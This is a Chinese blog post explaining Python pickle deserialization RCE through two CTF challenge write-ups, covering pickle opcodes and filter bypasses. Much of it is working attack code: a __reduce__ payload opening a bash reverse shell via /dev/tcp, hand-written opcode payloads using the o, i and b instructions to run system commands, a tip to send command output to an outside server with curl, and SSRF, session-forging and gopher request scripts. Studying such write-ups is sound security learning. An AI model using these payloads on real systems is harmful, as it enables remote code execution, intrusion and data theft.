• pickle反序列化RCE分析


    一. pickle模块

    1.1 什么是pickle模块

    pickle模块是Python的标准库之一,用于实现对象的序列化和反序列化。它可以将Python对象转换为字节流(serialization),并在需要时重新恢复(deserialization)成相同的对象。通过pickle模块,你可以将Python对象存储到磁盘或通过网络传输,并在需要时重新加载,以方便数据的保存和传递。pickle模块支持几乎所有的Python数据类型,包括自定义类和对象。

    1.2 常用函数

    pickle.dump(obj, file, [,protocol])
    
    功能:将obj对象序列化存入已经打开的file中。
    参数:
    obj:想要序列化的obj对象。
    file:文件名称。
    protocol:序列化使用的协议。如果该项省略,则默认为0。如果为负值或HIGHEST_PROTOCOL,则使用最高的协议版本。
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    pickle.load(file)
    
    功能:将file中的对象序列化读出。
    参数:
    file:文件名称。
    
    • 1
    • 2
    • 3
    • 4
    • 5

    CTF中常见的是以下两个函数

    pickle.dumps(obj[, protocol])
    
    功能:将obj对象序列化为string形式,而不是存入文件中。
    参数:
    obj:想要序列化的obj对象。
    protocal:如果该项省略,则默认为0。如果为负值或HIGHEST_PROTOCOL,则使用最高的协议版本。
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    pickle.loads(string)
    
    功能:从string中读出序列化前的obj对象。
    参数:
    string:文件名称。
    
    • 1
    • 2
    • 3
    • 4
    • 5

    1.3 魔术方法

    这里这里只介绍与漏洞有关的魔术方法
    _reduce_

    构造方法,在反序列化的时候自动执行,类似于php中的_wake_

    _setstate_

    在反序列化时自动执行。它可以在对象从其序列化状态恢复时,对对象进行自定义的状态还原。

    二. 例题[[BUUOJ]HFCTF 2021 Final]

    2.1 题目分析

    #!/usr/bin/python3.6
    import os
    import pickle
    
    from base64 import b64decode
    from flask import Flask, request, render_template, session
    
    app = Flask(__name__)
    app.config["SECRET_KEY"] = "*******"
    
    User = type('User', (object,), {
        'uname': 'test',
        'is_admin': 0,
        '__repr__': lambda o: o.uname,
    })
    
    
    @app.route('/', methods=('GET',))
    def index_handler():
        if not session.get('u'):
            u = pickle.dumps(User())
            session['u'] = u
        return "/file?file=index.js"
    
    
    @app.route('/file', methods=('GET',))
    def file_handler():
        path = request.args.get('file')
        path = os.path.join('static', path)
        if not os.path.exists(path) or os.path.isdir(path) \
                or '.py' in path or '.sh' in path or '..' in path or "flag" in path:
            return 'disallowed'
    
        with open(path, 'r') as fp:
            content = fp.read()
        return content
    
    
    @app.route('/admin', methods=('GET',))
    def admin_handler():
        try:
            u = session.get('u')
            if isinstance(u, dict):
                u = b64decode(u.get('b'))
            u = pickle.loads(u)
        except Exception:
            return 'uhh?'
    
        if u.is_admin == 1:
            return 'welcome, admin'
        else:
            return 'who are you?'
    
    
    if __name__ == '__main__':
        app.run('0.0.0.0', port=80, debug=False)
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57

    关键代码为以下部分

    def admin_handler():
        try:
            u = session.get('u')
            if isinstance(u, dict):
                u = b64decode(u.get('b'))
            u = pickle.loads(u)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    这道题没有任何的过滤,直接传入自定义构造方法的User对象,pickle.loads进行反序列化,然后即可实现Rce

    2.2 payload

    import pickle
    from base64 import b64encode
    import os
    
    User = type('User', (object,), {
        'uname': 'tyskill',
        'is_admin': 0,
        '__repr__': lambda o: o.uname,
        # 添加__reduce__方法RCE
        '__reduce__': lambda o: (os.system, ("bash -c 'bash -i >& /dev/tcp/IP/PORT 0>&1'",))
        //反序列化时自动调用,反弹shell
    })
    u = pickle.dumps(User())
    print(b64encode(u).decode())
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14

    不经base64加密输出为:
    这里到下面opcode部分有用

    b"\x80\x04\x95<\x00\x00\x00\x00\x00\x00\x00\x8c\x02nt\x8c\x06system\x93\x8c*bash -c 'bash -i >& /dev/tcp/IP/PORT 0>&1'\x85R."
    
    • 1

    三. opcode编写

    3.1 为什么要用到opcode

    由于单一的__reduce__方法已经被考烂了,现在很多题目都有以下过滤

     if b'R' in code or b'built' in code or b'setstate' in code or b'flag' in code
    
    • 1

    可以看到过滤了字节R,在序列化(上面例题payload的最后一个字符)的opcode中字节R对应的是__reduce__构造方法,故这种情况无法使用构造方法进行Rce,需要编写opcode

    3.2 什么是opcode

    Python 的 opcode(operation code)是一组原始指令,用于在 Python 解释器中执行字节码。每个 opcode都是是一个标识符,代表一种特定的操作或指令。
    在 Python 中,源代码首先被编译为字节码,然后由解释器逐条执行字节码指令。这些指令以 opcode 的形式存储在字节码对象中,并由Python 解释器按顺序解释和执行。

    每个 opcode 都有其特定的功能,用于执行不同的操作,例如变量加载、函数调用、数值运算、控制流程等。Python 提供了大量的
    opcode,以支持各种操作和语言特性。

    3.3 常见的指令符

    opcode描述具体写法栈上的变化memo上的变化
    c获取一个全局对象或import一个模块(注:会调用import语句,能够引入新的包)c[module]\n[instance]\n获得的对象入栈
    o寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象)o这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈
    i相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象)i[module]\n[callable]\n这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈
    N实例化一个NoneN获得的对象入栈
    S实例化一个字符串对象S'xxx'\n(也可以使用双引号、\'等python字符串形式)获得的对象入栈
    V实例化一个UNICODE字符串对象Vxxx\n获得的对象入栈
    I实例化一个int对象Ixxx\n获得的对象入栈
    F实例化一个float对象Fx.x\n获得的对象入栈
    R选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数R函数和参数出栈,函数的返回值入栈
    .程序结束,栈顶的一个元素作为pickle.loads()的返回值.
    (向栈中压入一个MARK标记(MARK标记入栈
    t寻找栈中的上一个MARK,并组合之间的数据为元组tMARK标记以及被组合的数据出栈,获得的对象入栈
    )向栈中直接压入一个空元组)空元组入栈
    l寻找栈中的上一个MARK,并组合之间的数据为列表lMARK标记以及被组合的数据出栈,获得的对象入栈
    ]向栈中直接压入一个空列表]空列表入栈
    d寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对)dMARK标记以及被组合的数据出栈,获得的对象入栈
    }向栈中直接压入一个空字典}空字典入栈
    p将栈顶对象储存至memo_npn\n对象被储存
    g将memo_n的对象压栈gn\n对象被压栈
    0丢弃栈顶对象0栈顶对象被丢弃
    b使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置b栈上第一个元素出栈
    s将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中s第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新
    u寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中uMARK标记以及被组合的数据出栈,字典被更新
    a将栈的第一个元素append到第二个元素(列表)中a栈顶元素出栈,第二个元素(列表)被更新
    e寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中eMARK标记以及被组合的数据出栈,列表被更新

    3.4 opcode执行原理

    涉及到出栈入栈,对照上面的指令即可看懂
    示例流程图:
    在这里插入图片描述

    3.5 R指令被禁绕过

    在R指令被禁用时我们可以使用 o 、i 来进行绕过,这里重点提一下 b
    以下是pickle中b指令对应的源码
    在这里插入图片描述

    这里的实现方式也就是上文的注所提到的:如果inst(传入的对象)拥有__setstate__方法,则把state交给__setstate__方法来处理;否则的话,直接把state这个dist的内容,合并到 inst.dict(对象中的属性)里面。

    利用思路:如果一个类原先没有__setstate__方法。那么我们利用{‘setstate’: os.system}来BUILE这个对象,那么现在对象的__setstate__就变成了os.system;接下来利用"ls /"来再次BUILD这个对象,则会执行setstate(“ls /”) ,而此时__setstate__已经被我们设置为os.system,因此实现了RCE.

    payload如下:

    payload = b'\x80\x03c__main__\nExample\n)\x81}(V__setstate__\ncos\nsystem\nubVls /\nb.'
    
    • 1

    首先用 ) 压入空元组,然后x81用空元组实例化Example对象,然后用 ( 压入MARK,然后压入空字典,用u把{‘setstate’: os.system}压入空字典,然后用b设置对象里的属性为刚才的字典里的属性,然后再次用b传入“ls /”,检测到inst(传入的对象)拥有__setstate__方法,**则把state交给__setstate__方法来处理,即执行
    os.system(ls /)

    3.6 构造示例

    以下从R 、 i 、 o 三个方向构造编写的命令执行的opcode,可以借鉴参考一下

    R :

    b'''cos
    system
    (S'whoami'
    tR.'''
    
    • 1
    • 2
    • 3
    • 4

    i :

    b'''(S'whoami'
    ios
    system
    .'''
    
    • 1
    • 2
    • 3
    • 4

    o :

    b'''(cos
    system
    S'whoami'
    o.'''
    
    • 1
    • 2
    • 3
    • 4

    3.7 一些tips

    一、其他模块的load也可以触发pickle反序列化漏洞。例如:numpy.load()先尝试以numpy自己的数据格式导入;如果失败,则尝试以pickle的格式导入。因此numpy.load()也可以触发pickle反序列化漏洞。

    二、即使代码中没有importos,GLOBAL指令也可以自动导入os.system。因此,不能认为“我不在代码里面导入os库,pickle反序列化的时候就不能执行os.system”。

    三、即使没有回显,也可以很方便地调试恶意代码。只需要拥有一台公网服务器,执行os.system('curl your_server/ls / | base64),然后查询您自己的服务器日志,就能看到结果。这是因为:以`引号包含的代码,在sh中会直接执行,返回其结果。

    四. 例题 长城杯[seeking]

    4.1 题目分析

    首页源码

    
    error_reporting(0);
    header("HINT:POST n = range(1,10)");
    
    $image = $_GET['image'];
    echo "这里什么也没有,或许吧。";
    $allow = range(1, 10);
    shuffle($allow);
    if (($_POST['n'] == $allow[0])) {
        if(isset($image)){
    	$image = base64_decode($image);
        	$data = base64_encode(file_get_contents($image));
    	echo "your image is".base64_encode($image)."
    "
    ; echo ""; }else{ $data = base64_encode(file_get_contents("tupian.png")); echo "no image get,default img is dHVwaWFuLHBuZw=="; echo ""; } }
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20

    这里存在一个随机数的比较绕过,网上查了下这个函数没啥漏洞,采取1-10爆破的方法进行绕过

    然后我们可以用file或者filter伪协议通过file_get_contents()函数读取文件

    根据提示图片中含有信息,并且bash记录中也有信心,在首页图片中分离出一个7Z的压缩包,web题里也有misc

    在这里插入图片描述

    压缩包中含有一个名为 secret.txt的文本文本,打开发现有 M0sT_D4nger0us.php

    用file协议读取该php文件内容

    
    $url=$_GET['url'];
    $curlobj = curl_init($url);
    curl_setopt($curlobj, CURLOPT_HEADER, 0);
    curl_exec($curlobj);
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    发现该题为ssrf

    然后根据提示读取secret用户的bash记录

    M0sT_D4nger0us.php?url=/home/secret/.bashhistory
    
    • 1

    在这里插入图片描述

    发现开启了一个Python的web服务

    然后利用file协议读取app.py的内容

    M0sT_D4nger0us.php?url=/home/secret/Ez_Pickle/app.py
    
    • 1

    发现该web服务的地址为 127.0.0.1:5555

    #!/usr/bin/python3.6
    import os
    import pickle
    
    from base64 import b64decode
    from flask import Flask, session
    
    app = Flask(__name__)
    app.config["SECRET_KEY"] = "idontwantyoutoknowthis"
    
    User = type('User', (object,), {
        'uname': 'xxx',
        '__repr__': lambda o: o.uname,
    })
    
    @app.route('/', methods=('GET','POST'))
    def index_handler():
        u = pickle.dumps(User())
        session['u'] = u
        return "这里啥都没有,我只知道有个路由的名字和python常用的的一个序列化的包的名字一样哎"
    
    
    @app.route('/pickle', methods=('GET','POST'))
    def pickle_handler():
        try:
            u = session.get('a')
            if isinstance(u, dict):
                code = b64decode(u.get('b'))
                if b'R' in code or b'built' in code or b'setstate' in code or b'flag' in code:
                    print(code)
                    return "what do you want???"
                result=pickle.loads(code)
                return result
            else:
                return "almost there"
        except:
            return "error"
    
    
    if __name__ == '__main__':
        app.run('127.0.0.1', port=5555, debug=False)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41

    考点就是pickle反序列化加opcode构造+gopher协议+session伪造

    但是存在过滤

    if b'R' in code or b'built' in code or b'setstate' in code or b'flag' in code
    
    • 1

    这就是典型的R指令被禁的情况

    4.1 payload

    这道题有很多种opcode,任选其一即可

    1. o指令绕过
    payload1 = b'''(cos
    system
    S'cat /f* > /tmp/a'
    o.'''
    
    • 1
    • 2
    • 3
    • 4

    先是用 ( 入栈一个MARK,然后用 c 导入os.system()函数入栈,然后用 S 定义字符串并入栈,最后用 o **寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数,*结果是os.system(cat /f > /tmp/a’o), 点号是结束的意思

    2.b指令绕过

    payload2 =(c__main__
    User
    o}(S"\\x5f\\x5f\\x73\\x65\\x74\\x73\\x74\\x61\\x74\\x65\\x5f\\x5f" //__setstate__
    cos
    system
    ubS"cat /ffl14aaaaaaagg>/tmp/gkjzjh146"
    b.
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    这里的原理与文章3.5 R指令绕过原理相同

    编写好opcode,然后用脚本加密并gopher发包
    加密

    import base64
    import pickle
    
    payload = b'''(cos
    system
    S'cat /f* > /tmp/a'
    o.'''
    # ls / > /tmp/a 得到flag名称
    code = payload
    payload = base64.b64encode(code)
    a = {
        'b': payload
    }
    session = {}
    session['a'] = a
    print(session)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16

    然后将结果进行session伪造

    gopher发送

    import urllib.parse
    a ='''GET /pickle HTTP/1.1
    Host: 127.0.0.1:5555
    Cookie: session=eyJhIjp7ImIiOiJLR052Y3dwemVYTjBaVzBLVXlkallYUWdMMllxSUQ0Z0wzUnRjQzloSndwdkxnPT0ifX0.ZPlszQ.mXPJEIl_a5JbUlHndOy5WOceS2s
    '''
    
    tmp = urllib.parse.quote(a)
    new = tmp.replace('%0A','%0D%0A')
    result = 'gopher://127.0.0.1:5555/' + '_' + new
    print(result)
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    五.总结

    作者最近也是从长城杯中接触到的opcode,奈何当时没学,没有解出那道题
    opcode刚开始确实挺难看懂的,但是找一个payload然后参照着指令表,慢慢推演琢磨就好了
    另外还有 pker(下载链接https://github.com/eddieivan01/pker) 这种编写opcode的脚本,现在还没学,等过几天更新

  • 相关阅读:
    java中的泛型
    YoLo V3 SPP u模型的讲解与总结
    电脑如何清理重复文件,查找电脑重复文件的软件
    InnoDB引擎
    MySQL数据库
    mysql57开启biglog并查看biglog保姆级教程
    Zookeeper事务日志预分配空间解析
    【容器】Docker(学习笔记)
    2051. The Category of Each Member in the Store
    Vue组件路由
  • 原文地址:https://blog.csdn.net/Elite__zhb/article/details/132943998